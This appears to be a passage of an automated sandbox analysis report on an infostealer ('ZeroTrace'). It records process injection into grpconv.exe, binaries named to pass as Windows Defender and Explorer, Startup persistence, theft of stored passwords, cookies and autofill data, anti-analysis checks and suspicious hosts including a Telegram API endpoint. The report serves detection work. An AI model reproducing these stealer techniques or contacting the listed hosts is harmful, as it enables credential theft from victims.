--utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00007908)4a:T40f,The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 8B:AA:E2:A3:48:3C:0E:62:9D:B5:49:3A:BD:47:60:BA:AD:18:AA:8D; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group Inc.", C=US" (SHA1: 34:0B:28:80:F4:46:FC:C0:4E:59:ED:33:F5:2B:3D:08:D6:24:29:64; see report for more information) The input sample is signed with a certificate issued by "OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group Inc.", C=US" (SHA1: 27:96:BA:E6:3F:18:01:E2:77:26:1B:A0:D7:77:70:02:8F:20:EE:E4; see report for more information)4b:T155c,"Launcher.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1300" "BaseAddress": "00E2D1E8" "Buffer": "012FEA54" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Launcher.exe"} "Launcher.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1268" "BaseAddress": "014781E8" "Buffer": "012FEA54" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Build.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1108" "BaseAddress": "00EBE1E8" "Buffer": "016FE470" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1108" "BaseAddress": "00400000" "Buffer": "06B19A40" "NumberOfBytesToWrite": "00000400" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1108" "BaseAddress": "00401000" "Buffer": "05B2E478" "NumberOfBytesToWrite": "0000E600" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1108" "BaseAddress": "00410000" "Buffer": "05B3CA90" "NumberOfBytesToWrite": "00003200" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1108" "BaseAddress": "00414000" "Buffer": "05B3FCA8" "NumberOfBytesToWrite": "00000400" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1108" "BaseAddress": "00416000" "Buffer": "05B400C0" "NumberOfBytesToWrite": "00005C00" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1108" "BaseAddress": "00EBE008" "Buffer": "05B45CCC" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1112" "BaseAddress": "00A481E8" "Buffer": "016FE470" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1112" "BaseAddress": "00400000" "Buffer": "06BE1F20" "NumberOfBytesToWrite": "00001000" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1112" "BaseAddress": "00401000" "Buffer": "05BC5058" "NumberOfBytesToWrite": "0000B000" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1112" "BaseAddress": "0040C000" "Buffer": "05BD0070" "NumberOfBytesToWrite": "00003000" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1112" "BaseAddress": "0040F000" "Buffer": "05BD307C" "NumberOfBytesToWrite": "00001000" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1112" "BaseAddress": "00411000" "Buffer": "05BD4094" "NumberOfBytesToWrite": "00005000" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1112" "BaseAddress": "00A48008" "Buffer": "05BD90A0" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1128" "BaseAddress": "00F851E8" "Buffer": "016FE470" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1128" "BaseAddress": "00400000" "Buffer": "06CCABD0" "NumberOfBytesToWrite": "00000400" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1128" "BaseAddress": "00401000" "Buffer": "05C729F0" "NumberOfBytesToWrite": "00011200" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1128" "BaseAddress": "00413000" "Buffer": "05C83C08" "NumberOfBytesToWrite": "00004200" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1128" "BaseAddress": "00418000" "Buffer": "05C87E14" "NumberOfBytesToWrite": "00000600" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1128" "BaseAddress": "0041A000" "Buffer": "05C8842C" "NumberOfBytesToWrite": "00005E00" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1128" "BaseAddress": "00F85008" "Buffer": "05C8E238" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1132" "BaseAddress": "0117C1E8" "Buffer": "016FE458" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"} "Build.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1132" "BaseAddress": "00400000" "Buffer": "05CEBBB4" "NumberOfBytesToWrite": "00000400" "$name": "C:\\Windows\\SysWOW64\\grpconv.exe"}4c:T19c0,"Build.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%TEMP%\Build.exe]- [targetUID: 00000000-00005992] "windows defender.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%TEMP%\windows defender.exe]- [targetUID: 00000000-00005868] "explorer.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%TEMP%\explorer.exe]- [targetUID: 00000000-00007364] "Launcher.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive 5 sections"- Location: [%TEMP%\Launcher.exe]- [targetUID: 00000000-00005868] "System Properties.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%ALLUSERSPROFILE%\System Properties.exe]- [targetUID: 00000000-00005868] "cookieextract.ps1" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\CookieExtractor_b22e4547\cookieextract.ps1]- [targetUID: 00000000-00007948] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "explorer.exe.log" has type "CSV ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\explorer.exe.log]- [targetUID: 00000000-00007364] "System Properties.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Unicoded MachineID wkojjqbyqcqyy8m Archive ctime=Wed Sep 17 22:02:01 2025 atime=Wed Sep 17 22:02:01 2025 mtime=Wed Sep 17 22:02:01 2025 length=118784 window=normal IDListSize 0x0107 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\ProgramData\System Properties.exe""- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\System Properties.lnk]- [targetUID: 00000000-00006668] "tmp98B1.tmp.bat" has type "DOS batch file ASCII text with CRLF line terminators"- [targetUID: N/A] "ZeroTrace_WkOJjQBYqCQYy8M_20250917_165405.zip" has type "Zip archive data at least v2.0 to extract compression method=deflate"- Location: [%TEMP%\ZeroTrace_WkOJjQBYqCQYy8M_20250917_165405.zip]- [targetUID: 00000000-00005992] "screenshot_20250917_150925.png" has type "PNG image data 1280 x 800 8-bit/color RGBA non-interlaced"- Location: [%TEMP%\ZeroTrace_5ff9e131\Screenshots\screenshot_20250917_150925.png]- [targetUID: 00000000-00005992] "GetInstalledApps.txt" has type "Unicode text UTF-16 little-endian text with CRLF line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\GetInstalledApps.txt]- [targetUID: 00000000-00005992] "GetAlternativeEdgeCookies.txt" has type "Unicode text UTF-16 little-endian text with CRLF line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\GetAlternativeEdgeCookies.txt]- [targetUID: 00000000-00005992] "GetExtensionsView.txt" has type "Unicode text UTF-16 little-endian text with CRLF line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\GetExtensionsView.txt]- [targetUID: 00000000-00005992] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 73211 bytes 1 file at 0x2c last modified Sun Aug 26 2025 13:00:02 +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: 00000000-00006308] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00007948] "StartupProfileData-NonInteractive" has type "data"- [targetUID: N/A] "GetWorkingTasks.txt" has type "Unicode text UTF-16 little-endian text with CRLF line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\GetWorkingTasks.txt]- [targetUID: 00000000-00005992] "GetBookmarks.txt" has type "Unicode text UTF-16 little-endian text with CRLF line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\GetBookmarks.txt]- [targetUID: 00000000-00005992] "AdapterWatch.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\AdapterWatch.html]- [targetUID: 00000000-00005992] "system_info.txt" has type "ASCII text with very long lines (472) with CRLF LF line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\system_info.txt]- [targetUID: 00000000-00005992] "ProductKeys.txt" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\ProductKeys.txt]- [targetUID: 00000000-00005992] "Finder-Latest.log" has type "ASCII text"- Location: [%APPDATA%\Finder-Latest.log]- [targetUID: 00000000-00006308] "cookies.txt" has type "Netscape cookie Unicode text UTF-8 (with BOM) text with CRLF line terminators"- [targetUID: N/A] "77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00006308] "clipboard_logs.txt" has type "ASCII text"- [targetUID: 00000000-00006308] "Log.tmp" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\Log.tmp]- [targetUID: 00000000-00006668] "credentials.txt" has type "ASCII text"- Location: [%TEMP%\ZeroTrace_5ff9e131\Documents\credentials.txt]- [targetUID: 00000000-00005992] "notes.txt" has type "ASCII text with no line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\Documents\notes.txt]- [targetUID: 00000000-00005992] "GetAutofill.txt" has type "Unicode text UTF-16 little-endian text with no line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\GetAutofill.txt]- [targetUID: 00000000-00005992] "explorcr.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%APPDATA%\explorcr.exe]- [targetUID: 00000000-00007420] "System Properties.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%TEMP%\System Properties.exe]- [targetUID: 00000000-00005868] "ChromeV20Passwords.txt" has type "Unicode text UTF-16 little-endian text with no line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\ChromeV20Passwords.txt]- [targetUID: 00000000-00005992] "GetAllPasswords.txt" has type "Unicode text UTF-16 little-endian text with no line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\GetAllPasswords.txt]- [targetUID: 00000000-00005992] "GetBrowserHistory.txt" has type "Unicode text UTF-16 little-endian text with no line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\GetBrowserHistory.txt]- [targetUID: 00000000-00005992] "GetDefenderLogs.txt" has type "Unicode text UTF-16 little-endian text with no line terminators"- Location: [%TEMP%\ZeroTrace_5ff9e131\GetDefenderLogs.txt]- [targetUID: 00000000-00005992]4d:T541,"Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "Launcher.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "")4e:T9fc,"Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "LAUNCHER.EXE"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSAPPCOMPAT"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSUSERENABLED"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "")4f:T4e0,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify sandbox environment running process Matched sigs: Contains ability to detect virtual environment Matched sigs: Contains ability to detect virtual environment (API) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Contains ability to delay execution (Powershell command string) Matched sigs: Possibly tries to evade analysis by sleeping many times Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Calls an API typically used to find device information Matched sigs: Contains ability to delay the execution of current thread50:T6c1,"Launcher.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "Launcher.exe" trying to access non-existent file "C:\VERSION.DLL" "Launcher.exe" trying to access non-existent file "C:\FLTLIB.DLL" "Launcher.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "Launcher.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\LAUNCHER.EXE" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\Launcher.exe" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\BUILD.EXE" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\Build.exe" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\VERSION.DLL" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\FLTLIB.DLL" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\SYSTEM PROPERTIES.EXE" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\System Properties.exe" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WINDOWS DEFENDER.EXE" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\windows defender.exe" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\EXPLORER.EXE" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\explorer.exe" "Build.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL"51:T8ce,"Launcher.exe" trying to access non-existent file "C:\LAUNCHER.EXE.LOCAL" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\Launcher.exe:ZONE.IDENTIFIER" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\Launcher.exe:Zone.Identifier" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\Build.exe:ZONE.IDENTIFIER" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\Build.exe:Zone.Identifier" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\LAUNCHER.EXE.LOCAL" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\System Properties.exe:ZONE.IDENTIFIER" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\System Properties.exe:Zone.Identifier" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\windows defender.exe:ZONE.IDENTIFIER" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\windows defender.exe:Zone.Identifier" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\explorer.exe:ZONE.IDENTIFIER" "Launcher.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\explorer.exe:Zone.Identifier" "Build.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "Build.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "Build.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\BUILD.EXE.CONFIG" "Build.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "Build.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "Build.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BUILD.EXE.LOG" "Build.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\Build.exe.config" "Build.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\ZEROTRACEOFB44B2F37#"52:T540,"14.0.0.0" "1.0.0.0" "2.5.29.35" "2.5.29.37" "192.168.0.2" Potential IP "4.0.0.0" found in string "ystem.Drawing,4.0.0.0,,b03f5f7f11d50a3a" Potential IP "4.0.0.0" found in string "ion=4.0.0.0,J" Potential IP "4.0.0.0" found in string "n=4.0.0.0, Culture=neutral, PublicKeyToken=b03" "9.17.5.1" Potential IP "4.0.0.0" found in string "sion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"", Potential IP "4.0.0.0" found in string "ersion=4.0.0.0 Culture=neutra", "2.5.29.14", "2.5.29.19", Potential IP "4.0.0.0" found in string "on=4.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35" />" "2.5.29.17" "2.5.29.32" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.15" "2.5.29.31" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.1" "2.5.4.3" "2.5.29.10" "2.5.29.16" "2.5.4.6" "2.5.4.7" "2.5.4.11" "2.5.4.10" Potential IP "4.0.0.0" found in string "ystem.Numerics,4.0.0.0,,b77a5c561934e089,MSIL" "0.0.0.0" Potential IP "4.0.0.0" found in string "4.0.0.0," Potential IP "4.0.0.0" found in string "ersion=4.0.0.0, Culture=neutral, Pub" Potential IP "4.0.0.0" found in string "ystem.Management,4.0.0.0,,b03f5f7f11d50a3a" Potential IP "4.0.0.0" found in string "ystem.Configuration.Install,4.0.0.0,,b03f5f7f11d50a3a,MSIL" Potential IP "4.0.0.0" found in string "=4.0.0.0, Cultur"53:T1c55,Pattern match: "https://clients2.google.com/cr/report" Heuristic match: ">y.sr" Heuristic match: "nb_.li" Heuristic match: "?3.lt" Heuristic match: "4s.mt" Heuristic match: "m?.sa" Heuristic match: "v/i.pe" Pattern match: "http://localhost:$debug_port/json#" Pattern match: "cd.-m.rpwy/l2=szgdvi&i@n'?@_+'o{8a" Pattern match: "http://www.nirsoft.net/" Pattern match: "https://curl.haxx.se/rfc/cookie_spec.html#" Pattern match: "www.reddit.com/r/gifs###" Heuristic match: "aiopal.camdvr.org" Heuristic match: "aiopal.giize.com" Heuristic match: "api.telegram.org" Pattern match: "https://user-images.githubusercontent.com/45857590/138568746-1a5578fe-f51b-4114-bcf2-e374535f848" Heuristic match: "ftp.lt" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Heuristic match: "c:\windows\microsoft.nc" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: ".0.30319\api-ms-win-core-winrt-l1-1-0.dj" Pattern match: "ns.adobe.com/xap/1.0/rig" Pattern match: "http://ns.a" Pattern match: "http://ns.adobe.com/xa" Pattern match: "http://www.w3.org/1999/02/22-rdf-syntax-ns#" Pattern match: "http://purl.org/dc/elements/1.1/" Pattern match: "http://ns.adobe.com/xap/1.0/" Pattern match: "http://ns.adobe.com/xmp/identifier/qual/1.0/" Pattern match: "http://ns.adobe.com/xap/1.0/rights/" Pattern match: "http://ns.adobe.com/xap/1.0/mm/" Pattern match: "http://ns.adobe.com/xap/1.0/bj/" Pattern match: "http://ns.adobe.com/xap/1.0/t/pg/" Pattern match: "http://ns.adobe.com/pdf/1.3/" Pattern match: "http://ns.adobe.com/photoshop/1.0/" Pattern match: "http://ns.adobe.com/tiff/1.0/" Pattern match: "http://ns.adobe.com/exif/1.0/" Pattern match: "http://ns.adobe.com/xap/1.0/stype/dimensions#" Pattern match: "http://ns.adobe.com/xap/1.0/g/img/" Pattern match: "http://ns.adobe.com/xap/1.0/stype/resourceevent#" Pattern match: "http://ns.adobe.com/xap/1.0/stype/resourceref#" Pattern match: "http://ns.adobe.com/xap/1.0/stype/version#" Pattern match: "http://ns.adobe.com/xap/1.0/stype/job#" Pattern match: "http://ns.adobe.com/exif/1.0/aux/" Pattern match: "http://ns.adobe.com/camera-raw-settings/1.0/" Pattern match: "http://ns.adobe.com/xmp/1.0/dynamicmedia/" Pattern match: "http://iptc.org/std/iptc4xmpcore/1.0/xmlns/" Pattern match: "http://ns.microsoft.com/photo/1.0/" Pattern match: "http://ns.microsoft.com/photo/1.2/" Pattern match: "http://ns.microsoft.com/photo/1.2/t/regioninfo#" Pattern match: "http://ns.microsoft.com/photo/1.2/t/region#" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "ystem.windows.fo" Heuristic match: "{l=h.sa" Heuristic match: "cim_system.name" Pattern match: "ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab" Pattern match: "ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: 